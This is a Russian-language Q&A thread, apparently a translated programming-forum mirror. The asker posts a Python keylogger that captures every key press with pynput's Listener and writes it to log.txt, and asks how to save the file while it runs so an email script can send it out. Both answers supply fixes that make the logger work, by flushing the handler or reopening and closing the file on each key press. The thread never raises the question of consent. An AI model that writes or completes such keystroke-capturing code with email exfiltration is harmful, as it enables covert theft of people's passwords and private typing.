Как я могу сохранить его, чтобы скрипт электронной почты мог его прочитать / отправить? - PullRequest
0 голосов
/ 25 октября 2018

Я хочу отправить log.txt на электронную почту.Часть электронной почты работает, но этот регистратор не сохраняет файл.Сохраняет его только при выходе.Так что продолжает писать и писать.Я вставлял f.write после каждого нажатия клавиши, но это не сработало.

Если бы вы могли помочь, я был бы признателен за это.

Вопрос: как я могу сохранить его, чтобы скрипт электронной почты мог его прочитать / отправить?

код:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

Ответы [ 2 ]

0 голосов
/ 25 октября 2018

Вам нужно очистить буфер.Попробуйте

logging.getLogger().handlers[0].flush()

После каждой записи.

0 голосов
/ 25 октября 2018

Попробуйте закрыть текстовый файл после того, как что-то записано в файл

f.close()

Также я бы предложил открыть его с помощью a+, чтобы добавить файл

Так что-то вроде этого:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')
#f = open('log.txt', 'w')

def on_press(key):
    f = open('log.txt', 'a+')
    logging.info(str(key))
    f.write("Put stuff here that you want written to a file")
    f.close()

with Listener(on_press=on_press) as listener:
    listener.join()
...